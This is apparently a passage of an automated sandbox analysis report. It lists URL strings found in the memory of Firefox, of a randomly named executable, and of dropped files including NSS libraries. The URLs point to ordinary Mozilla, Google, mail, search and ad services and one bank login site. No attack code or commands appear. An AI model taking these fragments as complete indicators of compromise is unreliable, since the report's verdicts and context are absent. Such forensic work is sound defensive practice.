Source: firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/700/700308-64.png?modified=4bc8e79fhttps://addons.
Source: firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/708/708770-64.png?modified=4f881970
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushed
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/954/954390-64.png?modified=97d4c956
Source: firefox.exe, 00000016.00000003.2972414420.0000018935CFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945932000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2878502064.00000189362A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2933839443.0000018935CDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000016.00000003.3234505370.000001894487D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000016.00000003.3364837586.00000189417D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/re
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.22.dr, JEHIJDGIEBKKFHJKJKEG.11.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.22.dr, JEHIJDGIEBKKFHJKJKEG.11.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 00000016.00000003.3056415593.00000189379A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3165953939.00000189379A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000016.00000003.3433524040.0000018947BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1170143
Source: firefox.exe, 00000016.00000003.3433524040.0000018947BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678448
Source: firefox.exe, 00000016.00000003.3433524040.0000018947BCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=793869
Source: BGCAFHCA.11.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp, BGCAFHCA.11.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: bfb8bb0dc7.exe, 0000000B.00000002.3112755624.0000000022C00000.00000004.00000020.00020000.00000000.sdmp, BGCAFHCA.11.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.23.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: firefox.exe, 00000016.00000003.2840438082.000001893534A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2826493925.0000018935100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2835272663.0000018935329000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000016.00000003.3356991599.00000189447DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.22.dr, JEHIJDGIEBKKFHJKJKEG.11.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: bfb8bb0dc7.exe, 0000000B.00000002.3110870483.0000000022A6B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.22.dr, JEHIJDGIEBKKFHJKJKEG.11.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000016.00000003.3357377046.0000018944721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000016.00000003.3357377046.0000018944721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000016.00000003.3231288925.0000018944623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000016.00000003.3231288925.0000018944623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: manifest.json.23.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.23.dr	String found in binary or memory: https://drive.google.com/
Source: firefox.exe, 00000016.00000003.3364719178.0000018941B74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: BGCAFHCA.11.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BGCAFHCA.11.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BGCAFHCA.11.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000016.00000003.3066184197.000001893379A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000016.00000003.3066184197.000001893379A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000016.00000003.2979236204.00000189388BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2979236204.00000189388DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000016.00000003.3245420946.00000189455C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3237228102.000001894493B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000016.00000003.3238318246.0000018944973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3238184718.0000018944981000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3236687144.000001894496F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3237228102.000001894493B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000016.00000003.3245420946.00000189455C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3237228102.000001894493B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3247725111.0000018945FEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000016.00000003.3040417631.0000018937DC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2885385426.0000018937DC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3153426972.0000018937DC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2970817554.0000018937DC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000016.00000003.3174093487.00000189375B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/
Source: firefox.exe, 00000016.00000003.3171769627.00000189378C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/monitor/collections/changes/changeset?_expe
Source: firefox.exe, 00000016.00000003.2993742632.000001893277B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000016.00000003.3358984869.00000189445A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000016.00000003.3231288925.0000018944623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000016.00000003.2826493925.0000018935100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2835272663.0000018935329000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000016.00000003.3266839582.0000018946015000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3285813316.0000018945D76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3275100773.0000018946015000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3359286606.0000018944562000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3426789707.0000018945CA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: JEHIJDGIEBKKFHJKJKEG.11.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3252846102.00000189372C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schemaInstance
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000016.00000003.3361812071.0000018941BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schemaInstance
Source: firefox.exe, 00000016.00000003.2937006777.000001893588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000016.00000003.2937006777.000001893588E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000016.00000003.2937006777.000001893588E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2933435942.0000018936854000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2890975106.0000018936854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000016.00000003.2969179512.00000189387A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000016.00000003.2969179512.00000189387A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000016.00000003.3066184197.000001893379A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000016.00000003.3066184197.000001893379A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000016.00000003.3066184197.000001893379A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000016.00000003.3253256201.00000189372AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3252634014.00000189372C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 00000016.00000003.2988324990.00000189337C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3066184197.00000189337AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: softokn3.dll.11.dr, freebl3.dll.11.dr, nss3[1].dll.11.dr	String found in binary or memory: https://mozilla.org0/
Source: firefox.exe, 00000016.00000003.3066184197.000001893379A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 00000016.00000003.3066184197.000001893379A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000016.00000003.3066594596.000001893378B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2990608782.000001893377C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000016.00000003.3253730463.0000018937288000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000016.00000003.3066712710.0000018933768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000016.00000003.3355751970.00000189451FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com
Source: firefox.exe, 00000016.00000003.3355751970.00000189451FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356133176.00000189451E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-linux-x64.zip
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356133176.00000189451E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-mac-arm64.zip
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356133176.00000189451E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-mac-x64.zip
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356133176.00000189451E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-arm64.zip
Source: firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356133176.00000189451E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-x64.zip
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3356133176.00000189451E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-x86.zip
Source: firefox.exe, 00000016.00000003.2988324990.00000189337C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3066184197.00000189337AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000016.00000003.2831875013.0000018935307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000016.00000003.3064660496.0000018936231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000016.00000003.3357377046.0000018944747000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000016.00000003.3365196247.000001894178C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000016.00000003.3365699653.000001893FFE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000016.00000003.3253863845.0000018937281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000016.00000003.2986716743.0000018935C23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945932000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253256201.00000189372AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000016.00000003.2986716743.0000018935C23000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945932000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3253256201.00000189372AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000016.00000003.3364227569.0000018941B96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000016.00000003.3364227569.0000018941B96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000016.00000003.3359286606.0000018944562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000016.00000003.3358984869.00000189445B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000016.00000003.3253256201.00000189372AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000016.00000003.3253256201.00000189372AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: JKJDHDBKEBGHJJJJKEHDHJJEGH.11.dr	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000016.00000003.3237228102.000001894493B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
